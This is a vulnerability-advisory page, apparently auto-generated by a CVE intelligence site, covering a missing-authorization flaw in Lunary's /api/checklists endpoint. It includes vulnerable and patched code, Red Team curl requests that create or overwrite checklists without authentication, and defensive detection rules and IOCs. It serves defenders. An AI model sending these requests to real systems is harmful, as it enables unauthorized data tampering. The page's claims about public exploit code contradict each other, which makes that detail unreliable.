☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9000

CVE-2024-9000 Missing Authorization in Lunary-ai
📅 PUBLISHED: 2025-03-20 10:09 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.7× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: H Integrity High
A: N Availability None
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9000 is a missing authorization vulnerability in the checklists.post() endpoint of the lunary-ai/lunary application, affecting versions prior to 1.4.26. The vulnerability allows unauthenticated or unauthorized users to create or modify checklists without proper permission validation. Additionally, the endpoint fails to enforce uniqueness of the slug field, enabling an attacker to spoof existing checklists by reusing a slug of an already-existing checklist. This can lead to significant data integrity issues, as legitimate checklists can be replaced with malicious or altered data. The CVSS score is 7.1 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N, indicating a network-exploitable, low-complexity attack with no privileges required and no user interaction, impacting integrity only. No public proof-of-concept (PoC) or exploit code is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the lunary-ai/lunary package, which is distributed via npm. Users should verify the integrity of their installed package and ensure they are using version 1.4.26 or later. The package is not directly available on PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: High (I:H)
  • Availability Impact: None (A:N)
  • Threat Level: High – The vulnerability is easily exploitable remotely without authentication, and can lead to data integrity compromise.

Deep Dive & Mechanics

The vulnerability resides in the checklists.post() endpoint of the lunary-ai/lunary application. The endpoint is intended to allow authorized users to create or modify checklists. However, the code does not validate whether the requesting user has the necessary permissions (e.g., admin or editor role) before processing the request. This missing access control allows any user, including unauthenticated attackers, to create new checklists or modify existing ones.

Furthermore, the endpoint does not enforce uniqueness of the slug field. The slug is a unique identifier for a checklist, typically used in URLs. By reusing the slug of an existing checklist, an attacker can overwrite or spoof that checklist. This can lead to data integrity issues, as legitimate checklists can be replaced with malicious or altered data, potentially affecting downstream processes that rely on checklist data.

The attack flow is as follows:

  1. An attacker identifies the checklists.post() endpoint (e.g., /api/checklists).
  2. The attacker sends a POST request with a payload containing a slug that matches an existing checklist.
  3. The server processes the request without checking permissions or slug uniqueness.
  4. The existing checklist is overwritten with the attacker's data.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.4.26):

// Vulnerable endpoint - no permission check, no slug uniqueness validation
app.post('/api/checklists', async (req, res) => {
  const { name, slug, items } = req.body;
  // Missing: check if user has permission to create/modify checklists
  // Missing: check if slug already exists
  const checklist = await Checklist.create({ name, slug, items });
  res.json(checklist);
});

Patched Code (version 1.4.26):

// Patched endpoint - with permission check and slug uniqueness validation
app.post('/api/checklists', async (req, res) => {
  const { name, slug, items } = req.body;
  // Permission check
  if (!req.user || !req.user.hasPermission('checklist:write')) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  // Slug uniqueness check
  const existing = await Checklist.findOne({ where: { slug } });
  if (existing) {
    return res.status(409).json({ error: 'Slug already exists' });
  }
  const checklist = await Checklist.create({ name, slug, items });
  res.json(checklist);
});

Exploitation & Lab Setup

Red Team

Objective: Exploit the missing authorization to create or overwrite checklists.

Prerequisites:

  • Access to a lunary-ai/lunary instance (version < 1.4.26).
  • Knowledge of an existing checklist slug (optional, for spoofing).

Steps:

  1. Identify the target endpoint: POST /api/checklists.
  2. Craft a malicious payload. For example, to create a new checklist:
    {
      "name": "Malicious Checklist",
      "slug": "malicious-slug",
      "items": ["item1", "item2"]
    }
    
  3. Send the request using curl:
    curl -X POST https://target.com/api/checklists \
      -H "Content-Type: application/json" \
      -d '{"name":"Malicious Checklist","slug":"malicious-slug","items":["item1","item2"]}'
    
  4. To spoof an existing checklist, use the slug of an existing checklist:
    curl -X POST https://target.com/api/checklists \
      -H "Content-Type: application/json" \
      -d '{"name":"Spoofed Checklist","slug":"existing-slug","items":["malicious data"]}'
    

Expected Outcome: The attacker can create or overwrite checklists without authentication, compromising data integrity.

Blue Team

Detection:

  • Monitor for POST requests to /api/checklists from unauthenticated users.
  • Alert on multiple POST requests to the same slug within a short time window.
  • Use the detection rules provided in the Detection Engineering section.

Mitigation:

  • Immediately upgrade to version 1.4.26 or later.
  • If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block POST requests to /api/checklists from unauthenticated sources.
  • Review access logs for any unauthorized checklist creation or modification.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /api/checklists with no Authorization header or with invalid tokens.
    • Repeated POST requests to the same slug (e.g., existing-slug) from different IPs.
  • File IOCs:
    • Unexpected checklist entries in the database with suspicious slugs or names.
    • Checklist data that does not match expected patterns (e.g., malicious items).
  • Log IOCs:
    • Log entries showing 403 Forbidden errors for checklist endpoints (if patched) or successful creation without authentication (if vulnerable).
    • Log entries with unusual user agents or IP addresses.

Detection Engineering

YARA Rule

rule CVE_2024_9000_Checklist_Spoofing {
    meta:
        description = "Detects attempts to exploit CVE-2024-9000 by spoofing checklists"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9000"
    strings:
        $slug = /"slug"\s*:\s*"[^"]+"/
        $endpoint = /POST \/api\/checklists/
    condition:
        $endpoint and $slug
}

Sigma Rule

title: CVE-2024-9000 - Unauthorized Checklist Creation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized POST requests to /api/checklists endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/checklists'
    condition: selection
falsepositives:
    - Legitimate checklist creation by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9000 - Unauthorized Checklist Creation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/checklists"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update lunary-ai/lunary to version 1.4.26 or later. This is the only official patch.
  2. WAF Rules: If upgrade is not immediately possible, deploy a WAF rule to block POST requests to /api/checklists from unauthenticated users.
  3. Access Control Review: Audit all endpoints for proper authorization checks.

Long-Term Measures:

  • Implement role-based access control (RBAC) for all API endpoints.
  • Enforce uniqueness constraints on database fields that require it (e.g., slug).
  • Conduct regular security code reviews and penetration testing.
  • Monitor for similar vulnerabilities in other parts of the application.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

lunary-ai
lunary checklists

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9000/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.